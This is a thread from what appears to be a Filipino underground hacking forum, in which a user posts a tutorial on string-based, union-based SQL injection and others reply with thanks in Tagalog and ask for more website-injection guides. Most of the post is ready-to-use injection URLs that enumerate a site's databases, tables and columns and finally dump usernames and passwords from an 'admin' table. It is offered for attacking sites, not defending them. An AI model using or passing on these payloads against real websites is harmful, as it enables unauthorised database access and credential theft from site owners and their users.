Welcome to Katz - Pinoy Underground Forum

[nethanker]

Here is a tutorial on String Based SQL Injection. This must certainly help many of you guys Awink


What is String Based SQL injection
String Based SQL Injection is used when the target website does not display the result when we enter a query.

Here are some Common Issues and cases when you have to use String Based SQL Injection :
Code:
Order By does not work Example : Order by 10000 does not show error/
Group By statement does not work.
Queries related to SQL injection doesnt work.

The Solution
So the solution for solving when you are having problem is ,just modify your syntax a bit.

http://site.com/index.php?id=10 order by 1000--+

So we add a at the end of the link and we add a + at the end of the -- .

String - Union Based SQL Injection

Obtaining Columns

Code:
http://www.site.com/index.php?id=234 order by 13--+

Obtaining the Databases

Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+

Obtaining the Tables from the current Database

Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+

.Obtaining Column names from a specific table (which in this example is "admin")

Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(column_name,0x0a),7,8,9,10 from information_schema.columns where table_name=0x61646d696e--+

Obtaining Data from Column names

Code:
http://www.site.com/index.php?id=-234 UNION SELECT 1,2,3,4,5,group_concat(username,0x3a,password,0x0a),7,8,9,10 from admin--+

credits: Rain112/CHF

 

[jughead3716]

nakita ko na punkz kung saan mo ito nakukuha.. hehe.. :hehe:

member ka rin ba dito....
maka join na rin para magmasid...

gusto ko talaga kasi matuto ng mga ganito eh...

salamat dito...

 

[checker]

nice tuts paps

 

[Abs-Gma]

post nyo nga dito yun nauna jan fafs ten yun pag inject ng WEBSITE

BTW thanks for sharing keepsharing

 

[nethanker]

ahh, oo. matagal na ako dun punkz.
beep me kung makita mo ako dun.

anyway, magandang i share ung mga iba dun dito